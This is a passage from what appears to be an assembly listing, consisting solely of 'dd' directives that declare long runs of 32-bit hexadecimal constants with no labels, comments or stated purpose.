0FE9E14B7h, 4F630E35h, 85FD99B3h, 75479854h, 88FC53FDh dd 6C0CEB62h, 977A4EAh, 0B52B5F08h, 6EBE5764h, 30036567h dd 0D81FB953h, 0CDE54DF8h, 0D81CDD55h, 73E35F50h, 8FCF8625h dd 0A588C5F7h, 7B1025B7h, 6A2A0428h, 54D9EE95h, 5B692A20h dd 42C17E58h, 2C976CFCh, 0A37B7F09h, 62277BCAh, 49B86D2Eh dd 67684FE1h, 2C8733B3h, 999A2311h, 320FFA49h, 0D9C08E91h dd 6D26F819h, 6AB18D68h, 789A0D26h, 38F7BDFFh, 9F21CA70h dd 3341B38Eh, 0BE10D5D4h, 429EC9Ch, 44B1068Ch, 5A41EB41h dd 6BAD3881h, 493CEB3Dh dd 81C6957Ch, 46B77E8Bh, 0EED2FB32h, 0CBE4A4EDh, 1CB5EF52h dd 0BC345C98h, 55A387E5h, 0AC7F86D0h, 7CD8A8D4h, 0A68C01AEh dd 0FB7E4E76h, 51BD70A9h, 0B1B53D94h, 35A9772Dh, 0B17DF238h dd 0A8EF24C1h, 0D506A7F0h, 97608CDBh, 2002FEF0h, 0B7A94CF9h dd 5FAD4397h, 0E0CFE493h, 2BE60F54h, 0FBB9DDCBh, 11D6974Dh dd 0E6AB12A9h, 0B7393A9Fh, 0D079D9E2h, 89AB74D5h, 1D7ACDA8h dd 0CFF24E3Dh, 774D6AD4h, 0EC06E2Ch, 6D3583ADh, 8159578Dh dd 3A9255E7h, 16B26667h, 0C4195708h, 544589C5h, 1596F11Dh dd 44FA20F0h, 0E331143Ch, 0A6138A8Bh, 0FE3A1C9Ch, 1694AC0Ch dd 6312250Ah, 2304D474h, 159DC16Ch, 0E8D3462Fh, 7DEB83EEh dd 3AE1CB1Eh, 0D0CC2014h, 91C5CBD7h, 0AA8EDE4Bh, 766AAB53h dd 1F0F24CBh, 9CC2AABCh, 0CD7EADA5h, 67B7F726h, 4AE310C1h dd 857C29F6h, 0A226E372h, 0EC3E180Ch, 87A8F7Dh, 72BDCCCAh dd 2AB54C3Fh, 0CA3F5451h, 1A225B9Ch, 0EC53E978h, 43815227h dd 0FC838E12h, 4A607C8Eh, 0DB046883h, 0D286D44Eh, 1EAD6544h dd 5484B4A6h, 59255C1Bh, 28A697B6h, 0D627D97Ch, 8B820285h dd 3C21C6B2h, 1F03550Ah, 5AF8473Eh, 130FED66h, 203C8276h dd 3A1E3570h, 0D7C1DF96h, 0EF275F84h, 0F3BBAF57h, 0F92681D8h dd 0F68CDC73h, 51259A51h, 5FB3AC22h, 7C89F23Bh, 59D46B5Eh dd 48B89F7Bh, 58B11DD9h, 6A889DF6h, 99433FB2h, 1323CEB2h dd 90C5A205h, 5A2709D1h, 0D6ED3997h, 656DD5D1h, 202900F9h dd 9420BF3Ch, 0F9CDDC8Eh, 0F181C115h, 3AFD5296h, 8FEB3F79h dd 640014EBh, 26D75F73h, 0C55A7D03h, 2A3DEF21h, 62C4D029h dd 19936828h, 4EACCB41h, 2E03FEDDh, 0D0F69D5Fh, 4E62BC1Ah dd 822A2BB5h, 6C86CDE9h, 0ACCC906Bh, 0D88F0E41h, 70A5DACDh dd 0F4125837h, 3AF157EEh, 0CAF8CD2Eh, 549A4629h, 68780EE0h dd 3B404755h, 2103481Ah, 3AE3CD3Bh, 0BFEC4B52h, 2D491156h dd 4570E5C4h, 5BBABACFh, 0F815B911h, 0D64BEED2h, 0E2A297F3h dd 80891C78h, 60060585h, 71F8C919h, 517A5044h, 5DC4C9B5h dd 31226DC8h, 21058258h, 0B86D22C1h, 59C3775Ch, 61570A08h dd 0B4991614h, 0CB1F892Ah, 15E73975h, 0C23A9DCEh, 0C821F848h dd 0BC41D322h, 95E6DB7Ch, 779FF581h, 7433AFA6h, 0C9DAF7F0h dd 0B140C3EBh, 0D72A223Fh, 0B3746FCCh, 0BBFBC938h, 0EBEBD9F0h dd 0FB55F9D9h, 0F9553BE1h, 266F2557h, 0C59AA93Ah, 1A78083Dh dd 0F6B237DCh, 7531522h, 0A1448BA2h, 298C7AF4h, 49EBECBAh dd 172E51Ch, 3A7D4D23h, 29833B6Fh, 7DE4DD18h, 7CD2AEF1h dd 0FF30D166h, 0E67C01FCh, 3D22AAh, 176649C9h, 417AB61Fh dd 72885387h, 190FD1A6h, 291D13CBh, 161AB9C8h, 6D774028h dd 409D8678h, 407F0F83h, 0CC0CDE2Dh, 1A77B50Bh, 201F970h dd 9458DBF3h, 0FC4AF036h, 0C737A4CEh, 6E501965h, 8D7826C3h dd 0CEFD6015h, 0F9AC85ABh, 9BBA82C1h, 0A53EF079h, 0B1BC19A7h dd 0C886526Bh, 5D44DA05h, 0D83E26Bh, 111A5264h, 0EFF665CBh dd 39FA676Eh, 0B27D46F0h, 21E999EDh, 7FDDFE21h, 0D4AD4AF3h dd 48383287h, 0D8273D30h, 60CB93EEh, 2DCAA2AEh, 365901CEh dd 86AE462Eh, 11AEF9BDh, 97FBB215h, 57141059h, 0EF883C7Dh dd 67888E3Dh, 0FA09A98Ah, 561FC326h, 265CBFB3h, 0EC81A9C6h dd 0E682977Bh, 42C14CAh, 0B598E543h, 58DC8BD9h, 1CB41323h dd 5066719Eh, 0DDC65CBDh, 0A0BDEDEAh, 477DB1F7h, 82C6A52Eh dd 38F158A8h, 0B42C4CD9h, 0D7A02B08h, 3ADF4436h, 5DD895E1h dd 34D7018Dh, 0B91C1E82h, 5B8CBEF5h, 47235B78h, 0A781C5D7h dd 5418B0B6h, 872E3859h, 50FAE469h, 2731DD61h, 5125DFB1h dd 0AAD7607Fh, 9F627AF2h, 0DDE9B1A4h, 0C78172AAh, 0A425E02Ah dd 0F9E469F4h, 0D0587C07h, 80AC5DD6h, 0C1071749h, 9E2EBFABh dd 4F4154E1h, 71E53C65h, 5C4A8747h, 76A5456Eh, 0A12FBE90h dd 0A4873DA8h, 21860821h, 19B7C0F7h, 2BC28610h, 5773D529h dd 979634Ch, 1C1469A4h, 9EC5A88Fh, 8A55FA78h, 3EA82EAFh dd 878A69A8h, 0A6919D7Bh, 0A416F3C5h, 0B5AE9BB9h, 0C45558C5h dd 0BCA305F1h, 891CEA97h, 0E332386Eh, 759FEE40h, 69899BBDh dd 7D1B7F94h, 0D52B5BDBh, 0F4E15763h, 6B48090Fh, 0A0959C10h dd 8AD032D8h, 55F36471h, 1E686144h, 7692B052h, 598C2686h dd 4FF94108h, 0AD6E7FBEh, 0E925BCB5h, 3626D8EEh, 28CBFE5Bh dd 727AE1F6h, 0FA9C1ABDh, 6DE23931h, 4935769Bh, 908D08A8h dd 7A615D85h, 451B3A49h, 2C5FE4BAh, 3DE316F5h, 817BEDFAh dd 0E39C72EAh, 2CA44CF0h, 88E973E1h, 97D81460h, 0ECC12E00h dd 5D57BA7Bh, 7B79622Dh, 0C8A0A072h, 0AE4DFBBDh, 327B02B2h dd 0BCFAC67Bh, 4791CF43h, 8280ED61h, 37065A07h, 0F5E778Fh dd 0A3421B7Ah, 0B3AF69Ah, 978A8104h, 88BC7AE3h, 84FE9E08h dd 0C21D2421h, 0F4925FBCh, 0A854E9C6h, 6E4B1E9Ah, 35B19117h dd 0A7DDAC96h, 0A9E64E62h, 1BE2CB72h, 0A26BD709h, 0DCEF2455h dd 0FE24DB9Dh, 3968F270h, 0C7666F61h, 986BEA65h, 0C06B377Ah dd 4F7BDAB8h, 269FECF5h, 0C0784698h, 4224A4E2h, 8C4B301Dh dd 21B0D03Ah, 30E1093Eh, 8FC4581Fh, 0E3C9AE11h, 35F6702Ah dd 2E716DFh, 9FED7EB4h, 0AFBD5887h, 0BAE430A7h, 0F28A74CDh dd 0DFD633Ch, 9FD7024Dh, 8F660AD4h, 0A08A9FE3h, 0D4433539h dd 0C5081A58h, 640D50Dh, 94B4848Eh, 63D96A0Eh, 3514A918h dd 0C4F57D88h, 5D037AB2h, 896A06D7h, 0DEA5F091h, 7E7488E9h dd 5A8E6587h, 0F6F89761h, 67DE9889h, 9042BE35h, 5DFEFFD8h dd 0C927BF2Ah, 212F6D7Fh, 0B70FDB7Ch, 3DD5D95Eh, 175EA879h dd 3A8537F0h, 861B748Fh, 85B6271Fh, 0FF8A6BB8h, 481DD37Ch dd 46156F31h, 262FCA1Bh, 0FBE6C3AAh, 2A72F41Dh, 290AAFDFh dd 8D893B72h, 53BDB174h, 0C67405B3h, 68BF67A9h, 4261E691h dd 0A74DDB95h, 479FDE9Ch, 85A6FE19h, 0E9AF093Bh, 1162D103h dd 7FBC90E6h, 0FC50D8CAh, 0C98511C1h, 156532Ch, 0E3B7E9A0h dd 0E1C579h, 841F781Fh, 8BAF56D1h, 29D3DA7Eh, 1F1CBFEAh dd 38D41126h, 0AF39D48Dh, 87C60314h, 5FBE772h, 0FFBC0556h dd 81903771h, 0B8763E04h, 91802969h, 5C792369h, 0DBD4245Ah dd 0B5C443FFh, 0CF749022h, 3BF2CBFBh, 3D9063A9h, 0AA149C01h dd 1D69CCB2h, 0FB2DE841h, 0CD4EB7F1h, 24BCBADDh, 0FE98CE88h dd 19115BDFh, 7FCABEB0h, 0B329D822h, 6D7B3EE7h, 7EE08E59h dd 0CEAE6E1Fh, 0EDEC5415h, 761D8DB5h, 0F37DD1EDh, 9649ED73h dd 6D9EA5E0h, 35FFE2D2h, 695C66A1h, 0FB8BCCAAh, 0FB4E73Dh dd 0CC83C860h, 849686B0h, 29E432AFh, 0F4ED7311h, 5C6468EEh dd 51F91BA1h, 8AD2FE43h, 4BCA4461h, 7CB00A8Eh, 88BDF78Dh dd 235DD82Dh, 0B4AA37A8h, 3B93A1E5h, 5DF15FAFh, 99117928h dd 2AC89895h, 0A3B3333Bh, 9406FDF1h, 0AC8FBBBh, 6E586050h dd 0F035CE05h, 0C66591E9h, 0C80D4462h, 623EE514h, 9A33601Ah dd 91B1C0AAh, 5C6AD409h, 0FAEB0061h, 7A2482C7h, 0A2AD14CCh dd 0B424C648h, 0EB803ADh, 0AC56BD03h, 68B0E77Fh, 0F0AE006Eh dd 39A22BE5h, 0BEA521B7h, 6320BF00h, 6A19C9A2h, 0C0CAEACBh dd 0E2E5992Eh, 6A38C0A1h, 0B769308Dh, 4BF2C277h, 0D9CD6D47h dd 39842058h, 0FE88932Dh, 92274BE9h, 0A8C2996Eh, 0A2E70441h dd 0DAD6D326h, 0DDCDC6FCh, 61B77376h, 0B91AA92Eh, 36AEE44Bh dd 3385BB0Ah, 4CF669BBh dd 61253124h, 0FD2D3713h, 4ED484C6h, 918365F1h, 6CBCE949h dd 268A39C4h, 308FDB54h, 0EF220861h, 81A6E5B8h, 0A32BCFA5h dd 0A59F11CDh, 51BCE724h, 8A67F8E3h, 10143588h, 0E70BC392h dd 2C075F45h, 0D3F05D98h, 1EE0C799h, 5E84267Eh, 55E410E4h dd 8B883A98h, 0A3E486F9h, 0DC321161h, 77A2175h, 4453E038h dd 0FA4BF6B2h, 0F444D4E1h, 0D42550B5h, 40768C55h, 0ACA1F314h dd 39E723B0h, 0C7F674EBh, 73F38AB0h, 0CBDEC7D1h, 15739769h dd 0F25DD559h, 766717Fh, 0D5780197h, 0FBDC2139h, 2D736830h dd 0C8AAA46Fh, 515F6297h, 42F67B65h, 82F0D777h, 0AE2EF52Eh dd 42EAD75Ah, 7F0DA277h, 58020D09h, 0D245700Eh, 8F2D0C87h dd 3C088FFAh, 0C1190CA0h, 0CDAA17B2h, 11205402h, 5738457Dh dd 57312DD1h, 45719136h, 87AFB8D6h, 616CC75Fh, 0B813F813h dd 0A8CD30CEh, 0D152B44Ch, 5AD1DF7h, 4616F445h, 8A9E938h dd 0BE959AB3h, 0BF184AB7h, 95BEC648h, 497AD5B7h, 0B2102A6Ch dd 0D63DC7FBh, 521FCED0h, 0E283A4CBh, 51E8BB2Ah, 3E1E9C7Ch dd 22ACD42Dh, 0F0A93DC7h, 0CB2A5A03h, 0BA1AA43Dh, 0C5967655h dd 3BA0812h, 22259CB2h, 5695E8A9h, 0CEA31786h, 0EAD28CD2h dd 0CD05328Ch, 4B731B22h, 0A0BE7A09h, 61738B87h, 0DF7ECC37h dd 82B25C80h, 0B45C4AC2h, 0D438283Eh, 84DBF6FBh, 61A03863h dd 0E0C3940Ah, 290E6F5Fh, 2CB70D2h, 6D97EF9Dh, 98A7B7D8h dd 40324125h, 0C3912AC6h, 0F0D67A30h, 479E490Ch, 0DF0C08A9h dd 1D3ACF27h, 0B55C702Ah, 9FA4128Eh, 0A85EFBE9h, 0B1E77017h dd 6F3A82A7h, 7C3FC822h, 6BD370ABh, 60286B09h, 8B585503h dd 3D279B54h, 2D565B5Ch, 50FE64CEh, 81DB841Ch, 0DA619F1Bh dd 6A428DADh, 49674E8Eh, 0DC27D759h, 1C1EDE3Ch, 0F569E8C3h dd 38D5ABDCh, 94EE1C9Dh, 0FBAEF9A6h, 638A4E21h, 0CA95007Ch dd 95FF8C14h, 0FAF1AE6Dh, 45FF45BDh, 0B630E736h, 67C3965Fh dd 55A845C5h, 0E5417BDDh, 9005D3E8h, 0AE649A97h, 369880FFh dd 0FB814209h, 371B69A9h, 3FECC52Bh, 4F188988h, 0C0C5DCB6h dd 0A9C372D2h, 2CE24323h, 77718992h, 0DD9F4180h, 407AFA40h dd 41F275D7h, 0D2AE17A2h, 381052E9h, 7E003845h, 3FC24062h dd 2E1034C2h, 6D325206h, 114181C8h, 9A4456D6h, 1AFEAC5Ch dd 0ECA36CD6h, 84F0FF1Bh, 59D231BFh, 54DD063h, 3B1FDECh dd 0D8C04861h, 4CAB421Ch, 707B4322h, 47B8B0E7h, 9ED362DAh dd 33EEB284h, 71E6961Ah, 91C08A2Ah, 0CBB90061h, 903B3695h dd 0BA388B55h, 0A4478548h, 5F479A5Ah, 4AF4ACDAh, 7B4979F4h dd 0D1EA3AECh, 0FBA02C4Bh, 0CA364F99h, 7CAFDF77h, 9C586FFCh dd 77FE9B99h, 73731F67h, 0CB2D8E51h, 0A5847E7Eh, 25722ECh dd 0C68821ADh, 0AC4ABFEEh, 359B2C23h, 71138250h, 8521832Bh dd 59101249h, 0FC059855h, 0A3F9402Bh, 4D79AFA2h, 66EA0AC1h dd 0CBFEAEAAh, 0EB435AAFh, 3440CE03h, 0AF347EF7h, 6ACD7DACh dd 0F045F7AFh, 7A7CAE2Eh, 72C20335h, 6A9C96D4h, 0A34A41Ah dd 56CC2472h, 0BA4F26C5h, 651068D1h, 2F78B82Dh, 9796A6EAh dd 1CAC1FBDh, 0C33C1FACh, 0F3CA22DBh, 0EBA20FDFh, 95F7E7FFh dd 0F2B059C6h, 0F3257095h, 1038F29Dh, 6C544B27h, 4333A008h dd 0EB5DBE89h, 6CD9D0BBh, 6E5A7D77h, 0CC719894h, 0BB5C340Ch dd 8C9FF929h, 20C52512h, 0DF067BE9h, 0D37BDD10h, 0BDEB9DB9h dd 0E33BD80Ch, 926A9E1Bh, 124D1F6Eh, 0CD882AB8h, 0B9EDACCEh dd 4DC44060h, 0D43441A0h, 6179D59Fh, 0CC4A5717h, 23932813h dd 1AC1B47Dh, 0D272C633h, 0D0B9A5FAh, 0EF1CD6E2h, 0F4E63EDCh dd 3020BCDh, 0A4AEF30Fh, 29FB79D5h, 0A677752Eh, 0F672CEA0h dd 0EEA46D0h, 6F63D848h, 0D4AC8FC8h, 0EB1981Bh, 1BDCF196h dd 88D67650h, 0E1866F1Ah, 0D972BCECh, 833554CCh, 3867CCC3h dd 4A1EBE63h, 0D20CED0Ah, 0A671B1C6h, 0C67A5EE0h, 0CDC2D772h dd 856E0025h, 9CFD0871h, 0CB663BB5h, 7DE654D6h, 172B582Eh dd 5E6B9BA5h, 0C88D1175h, 9BC3E4C6h, 58C3D0A8h, 1B75251Eh dd 0BF530065h, 0FC657203h, 683AAB64h, 9B461238h, 8DBF8E56h dd 4D51F4C1h, 68499F0h, 0CAC4E806h, 75BD19ACh, 0BDC28DF6h dd 0C1308A75h, 0A9C0C2F4h, 0C0DDEDDEh, 1525D776h, 0FC1752ABh dd 1AE1D56Ch, 0BAF6AFFBh, 0C080C51Bh, 718B4A33h, 0AF8182Ah dd 42A5E08Bh, 997285DAh, 0A177BA06h, 7611D3E1h, 398310E5h dd 2BE8DC8Bh, 2FFA3021h, 5804C220h, 548AAEEFh, 0AE3F45CDh dd 74245627h, 3C0951CAh, 6809CFF0h, 0BA346C84h, 4D6E839Dh dd 0AD296DAh, 89DFDC82h, 0F61E59D0h, 42A473CFh, 0D468BAB6h dd 0C2B0263Eh, 8B89FB81h, 27BBA524h, 3EBB4CF5h, 0FB9CE858h dd 4808BE0h, 0C1449B66h, 73EEA2B7h, 0FC0FB2FEh, 2A7D480Fh dd 1EEBE560h, 0AD09780h, 117EAC86h, 9B251198h, 9C8A851h dd 2ABFF2BAh, 4855B3A9h, 0D673C7CDh, 6284089Ah, 55D4A167h dd 1AAC72Fh, 8EFA059Fh, 0D4875C64h, 0A5C81ECCh, 76D87772h dd 0C9323BEBh, 0C765C4AFh, 0E3DF7F96h, 6EE9F862h, 0D17EBE73h dd 0E8533E3Bh, 4558CA19h, 1685C4FCh, 0D5EFE9C2h, 54BECDB4h dd 0DF416550h, 1770C1C6h, 0C3D58015h, 0AD4EDDE7h, 97F1DB2Ah dd 2B40169Fh, 7FFE15AAh, 0F66F8DE2h, 0D7607736h, 7BB70154h dd 9B7E0EA5h, 410D7B4Ch, 123EED5Ch, 8E4D667Ah, 0DCBF744Ah dd 0EDEB1E62h, 46C80CDAh, 0CB47D038h, 9289D5DEh, 0E94367D7h dd 5BFE639Eh, 0ECD69B03h, 0B9F35379h, 0A8242609h, 39C0E3CCh dd 0C5B87FB5h, 0AFA68773h, 0B108515Dh, 2A0190D2h, 93DB6A9Ah dd 0FAFFEAD9h, 1F6F734Eh, 0C0A7EE8Dh, 7305A37Ch, 0C18006A2h dd 25754E2h, 0D11272B4h, 2F3C023Ah, 2EB543A5h, 8E285562h dd 95200AF4h, 9CDD3657h, 94932F9Bh, 2FA1BC85h, 4BF6546Dh dd 0A29B8743h, 0E35E60F5h, 0DA708CD8h, 6B2A1764h, 8B3455A0h dd 6E6906A0h, 7255352h, 9DF7E620h, 0DD7051C5h, 61ADF4C9h dd 810E48A4h, 2EFD1B65h, 10B04E64h, 0E60A31EDh, 91DDF9F3h dd 3D098371h, 2D54ED66h, 5E298F2Bh, 0BB1E220h, 18F62DA0h dd 0EE65AECDh, 9FC6E06Fh, 6BED950Eh, 11EE3D20h, 0AB9614C1h dd 0BB5969Eh, 0B7D033E5h, 0F12C7949h, 6634974Dh, 0E2CBBD0Eh dd 5F3D3DDCh, 74D2DB3h, 946FE6A9h, 0CEDB172Dh, 0C8A300C4h dd 0A86A5AE2h, 9747E25Eh, 9FFEC59Ah, 82800372h, 0AA1DFA03h dd 0A1C0FC2Eh, 0AB3B2F1Fh, 143AE6D4h, 0B8C34339h, 3D9AFBDFh dd 2D066E02h, 0FFD1139Eh, 217A0EADh, 36FD7CB4h, 0F514DD1Fh dd 0AE7EF192h, 0DA9F434Ch, 217F3251h, 0D7E0F4BEh, 1AA1385Fh dd 0CAB7A5B5h, 609A4B83h, 7D881E1Eh, 0F746D58Dh, 0FECD4FE4h dd 0B8F79CDDh, 651F9EBBh, 2DCD22DFh, 0F15724A8h, 3B5CE94Bh dd 97503096h, 0E1EDE07Dh, 8523893Dh, 94AD2304h, 0C0A95BCBh dd 7AE96308h, 0A8C13C27h, 0C9A27229h, 6D323C2h, 0CDA458CDh dd 0C1D2F42Eh, 0C870EEAh, 396E4C1Eh, 370DB367h, 2C1632A0h dd 1DCF6BAEh, 9445EE5h, 92EC8003h, 0A5A26FE4h, 4E677666h dd 12A90B29h, 7CF27A91h, 827EDED2h, 0C7472E28h, 838A90A7h dd 0B7035749h, 194CE4ACh, 690177E0h, 929856D5h, 3C65BBC1h dd 999F80EDh, 2BC76913h, 6EAB659Dh, 0BE3D5D0Eh, 1DD1A3Ah dd 17DA1EFDh, 490F7BA5h, 6D143C93h, 12C5892Bh, 70DB1520h dd 1D24462Dh, 5E220916h, 8169B9EAh, 2CDCCC71h, 554D514Dh dd 3C05A560h, 2848895Fh dd 0F69B0A96h, 0D9B0B3D6h, 0D7F9AC0Fh, 18F88E05h, 0D073716Ah dd 0CF472E0Dh, 2CAF59D2h, 9C409868h, 9730FC88h, 3495841Eh dd 0B7DD81F4h, 576DF443h, 3FE5D80Ch, 3FE0CD0Dh, 0C20C3746h dd 0B168D4D5h, 0BD850F7Eh, 1252449Eh, 16A9E0C0h, 7EE955FCh dd 5EF96D6Ch, 0ACCDC80Dh, 0B2EEDC33h, 48A48C98h, 964866CDh dd 0A930B70Fh, 546D08Bh, 79E10DF0h, 38CA8C9Eh, 0E8A803FBh dd 63EC4AA1h, 0A9993FECh, 0F69DA461h, 1AE0B861h, 5011A660h dd 5E1F553Ch, 6ACB3D01h, 0C5241DD7h, 0A5053D86h, 8ACF06FCh dd 0D1C87F12h, 2D45EAC3h, 46FD2AE3h, 0A69C0764h, 74F0866Ah dd 5F95041Ch, 4A254631h, 9CECB28Bh, 7F9B643h, 0C6AA009h dd 7867D3C3h, 0BD17468Eh, 266A8E73h, 8B7C5C5h, 27FAB104h dd 71AEA533h, 0DF614DE3h, 0B853E286h, 398B73E1h, 3795475h dd 0A7D5E93Bh, 1320E7EFh, 0D819A6D9h, 7155D145h, 74BD7803h dd 2AA4A437h, 19F58DFDh, 8B809F5Bh, 0F0A93872h, 0FE64868h dd 627D9BA7h, 0DEBFF68Bh, 59A57A5Dh, 5EF62383h, 0EE886716h dd 0DC0D05BDh, 0E88FEE30h, 0DD04DE77h, 59B46C71h, 3ACC9EB2h dd 0A2C10423h, 0DBA19CC2h, 7547E157h, 0D0E05A6h, 0E9EDC29Fh dd 724696F5h, 2DCCD44Ah, 43FD2823h, 7695580Ah, 23B996E9h dd 0D9AD608Bh, 74420E7Ah, 31F0FC1Bh, 2A7D68B0h, 829FF859h dd 4D69957Dh, 43F4D0A3h, 0EEAC400h, 0AB98A92Ch, 8AF915FCh dd 0F5369B2Ah, 0BA5FAB4Ah, 0D98B30BFh, 0CEED0E3Ah, 8FC27F64h dd 0F7391B6Dh, 0D5D93718h, 0AF01A4FAh, 9DB9CC1Dh, 641C068Eh dd 0BBB88E29h, 0F482F6ACh, 0EECEE79Dh, 0FA91636h, 962669C9h dd 0A8E053CEh, 0D2CA1F8Eh, 358F600Eh, 0E5B4A24Ah, 45FFB8FAh dd 23DF2231h, 0EEA5BDF9h, 6F4E0073h, 1944CA05h, 91B90A7Bh dd 1F2A56AAh, 394B90A2h, 0E6F6C4DCh, 0C2A7FC9Ch, 0D612ABD4h dd 18EF7D3Ah, 0A4ABCB9Bh, 2DE85A5Ch, 2B908DA0h, 557592D7h dd 1CAF4CB8h, 0F4B8EA28h, 9BAE10B3h, 0EE13588h, 0DBACCE06h dd 5E48183Bh, 985BC290h, 5DD3670Fh, 0C708A106h, 197FD5E5h dd 0B8B3424h, 0AC1AD92h, 0F3067BFDh, 8DFA8360h, 2FAA87A3h dd 12576781h, 66DB20AAh, 3C5B512Ah, 5AE4230Dh, 0C93BC26Dh dd 49EF7D9Dh, 55D72CFh, 7579D736h, 0A2D014ACh, 0A6131E5h dd 5BFD31A9h, 0D325F01Eh, 0C1A310D3h, 754212FFh, 0E5FE0E84h dd 0BBBD0F0Ah, 1DDF029Ah, 6E9ABC39h, 3B9A091Dh, 0AD2BB523h dd 138EF0E3h, 0E3E86231h, 387690EDh, 5B81673Fh, 2FBA49Fh dd 2B39D620h, 0A8E48517h, 0EE306710h, 1F307AE9h, 974F9751h dd 0BE5F42D3h, 0BC88BA3Bh, 0CE91F16Fh, 73F00E5h, 0F424E176h dd 3F403D96h, 952DFB0Fh, 15452FE9h, 688D7D72h, 0AA6F7DFFh dd 2B318AC4h, 0A307CEE4h, 6F88A6F6h, 1F561B74h, 74F810FEh dd 6A9FCF01h, 0B0E12313h, 0CA632BD8h, 32B52225h, 0DC4AB5F0h dd 4844E611h, 0DD270BC5h, 0BDF0D57Fh, 0A0DF6FE6h, 693DC36Fh dd 8535F6DFh, 0F3754DE2h, 568A1E0Ch, 9E46586Fh, 4EDA3455h dd 2303F502h, 7942B13h, 9108CCBFh, 0E42EBC07h, 0EC686343h dd 443BB000h, 1DB5FB5Fh, 646C591Ah, 9B938C3Ch, 675B570Bh dd 54A20158h, 72733FF5h, 43AB5319h, 0CD7E1F42h, 0F04295A3h dd 3F66BDC2h, 0C81B940Fh, 134E9650h, 8FD05B4Ah, 0F3A3615Fh dd 0CA30CD36h, 2C14B909h, 69C84333h, 7DCCDA64h, 24DF60CAh dd 31A0F9BCh, 96BB6012h, 3D23727Eh, 147C3F19h, 744F4CC1h dd 0D0F20856h, 889EAE46h, 9AFCB9AEh, 0A25A73D7h, 0EB30BCA1h dd 61E53B96h, 0F6234C6Ch, 0A159CAF4h, 2F8BEBDDh, 7AAD0CD5h dd 0AF88AFA5h, 0FB3FA1B2h, 0AA7FAFE9h, 0A94BF2BEh, 1E1979D9h dd 1468D162h, 0D94E7E9h, 0BBE149C2h, 0B984AF25h, 89BF8CD0h dd 0B734CD4Ch, 0BABD4Ch, 0EC931849h, 0C4A1E62h, 0AE0BB562h dd 1C7BBF94h, 0C7730837h, 70689793h, 63F4C97Fh, 0D776E362h dd 8385FA79h, 8CF69E26h, 734F3A48h, 48AAFD3Ch, 664A9796h dd 7732E53Dh, 4388E3B4h, 0C8501526h, 0C7A06ACEh, 3808E534h dd 0E2753D34h, 3918CBD8h, 0C3115B7Fh, 422685Ch, 97BF46BEh dd 7C83F3F8h, 218FF6ABh, 0B14C0095h, 2119A4F4h, 1F8125EDh dd 330B021Ch, 1957F2DCh, 7C65E16Bh, 0D2ECEC57h, 31BE6A5h dd 7B2DBFE7h, 0B0DCBFF6h, 38F8DBCFh, 18502230h, 0CA1A0BAEh dd 3DE24A27h, 1E3CB66Bh, 788D5E9h, 154B34DEh, 2FE5E679h dd 0D99E0BB1h, 0D0A7716Ah, 64C2B6F4h, 8680C3BEh, 59779E75h dd 0E7A2E968h, 0E1E0F0E4h, 20817D97h, 0FA1FF115h, 0D808F179h dd 0E90F0C4Ch, 0E06502ECh, 15DD23D8h, 0A9F6C3F7h, 278CB221h dd 7CF8927Ch, 5762472Eh, 61AA0D3Eh, 0DCF97172h, 0E774A683h dd 42F37359h, 9CF1135h, 47C05144h, 73EF7614h, 71BE99B8h dd 0CE460EB7h, 27BEA618h, 0ADB9A85Eh, 5BE40F5Fh, 0B138EE78h dd 6759A938h, 81A2FD19h, 628DCBEAh, 0F473B1F3h, 4C3E5016h dd 2E9D166Fh, 0C8FDFA58h, 83DDA0A3h, 0B4A49134h, 721410C5h dd 8FAB6719h, 0AB40C38Ah, 0C28FE713h, 0E51AE992h, 5DE2EC41h dd 1430C7EBh, 3F13959Eh, 4130A1C1h, 61796599h, 27DBC5B0h dd 16731469h, 9B08C1C0h, 0EA91A7B1h, 0F497C8ECh, 2001AC13h dd 4055251h, 0F8D97661h, 0CBE44BC8h, 89C02BBDh, 0A94C853h dd 6E718E98h, 0F2F54751h, 2CCD5BE4h, 3A09DBC5h, 0ED80068Ch dd 14604BEDh, 74455356h, 0D36E3FD4h, 6A9F7E5Eh, 0AA74C02Ah dd 54D558B7h, 382EDDB9h, 0EC5A0C81h, 0B98F216Eh, 575AA552h dd 8024A421h, 5CCDDED4h, 0E1A80309h, 339DD774h, 958F0419h dd 2684C1F6h, 0A48FCDA1h, 583A1612h, 951924C5h, 7346B988h dd 2EA4D34Ch, 4802DA46h, 1A81ABF9h, 0A3577D1Fh, 0C963BB5Bh dd 0A77FD870h, 0E07FA504h, 0A2BA5DC7h, 0A7977ACh, 2C19D39Fh dd 2480CBD6h, 1E9EDC1Dh, 0C7EED401h, 31426417h, 0EA1B13D4h dd 0E08329EBh, 290FF0B6h, 70CF3C6Bh, 24330D31h, 62332A6Ch dd 28A41B73h, 0AA42FDF4h, 0D685DEC4h, 0C7B856B1h, 0E8B44139h dd 791DB83Dh, 51634E8h, 11313DC8h, 4FC6D0EFh, 0DBCC1FB5h dd 4DACB94h, 50CCE7Ch, 362AAE1Dh, 94F332B5h, 0E4B405A0h dd 5D9D2A04h, 0EC73867Ch, 1BBCDB0h, 6C513B5h, 3A561250h dd 2F89D88Fh, 0D17DBC32h, 4EFFF1D5h, 479850FEh, 833D4AB2h dd 4CAD2277h, 0DB063BE8h, 0FAAE8E02h, 0B73EAD57h, 7FFEEECh dd 0F08DE4EAh, 8236130Fh, 0B6D4B62Dh, 0F4829141h, 909E28B0h dd 0F25E03B2h, 8E68AEFDh, 9FA45099h, 6EBCB0D1h, 0E18D222Eh dd 0DA1B3BC8h, 2EC37EBDh, 0A916A041h, 429D39EEh, 0D7B8D647h dd 199C804h, 0D2145FD1h, 0D0B015DBh, 747358FFh, 85F066FCh dd 5ACAEF4Ah, 710F6D6Bh, 0AAAF77F2h, 77D56D18h, 8F97FE4Dh dd 0E4A56DFBh, 544CB638h, 0B60A7439h, 3FEEF075h, 0C6BF7B38h dd 7903811h, 90AC1585h, 0DA48DC96h, 0B4DBAEBFh, 57C60BB9h dd 75A9A960h, 6DF2092Eh, 2C2727FCh, 26317295h, 3D039061h dd 76D178B5h, 79A954B2h, 0D50E006Ah, 6AA023CAh, 20383302h dd 0EF1C33B5h, 2428E6A7h, 0B122D76Fh, 60BE86B9h, 0DF01E1E1h dd 0A47FBE66h, 847EB751h, 0F65D6389h, 0E5AF4F68h, 63A68E9Fh dd 41E4F2CAh, 8DF572B5h, 17FBA9DFh, 414A9B73h, 0B66B1AA6h dd 5FD972BCh, 460D8A9Bh, 5ECD4609h, 9477D7CEh, 0DBB3FA9Ch dd 6C254589h, 0E3034950h, 88E12F1Bh, 0FE150E45h, 38348145h dd 2D621B9Eh, 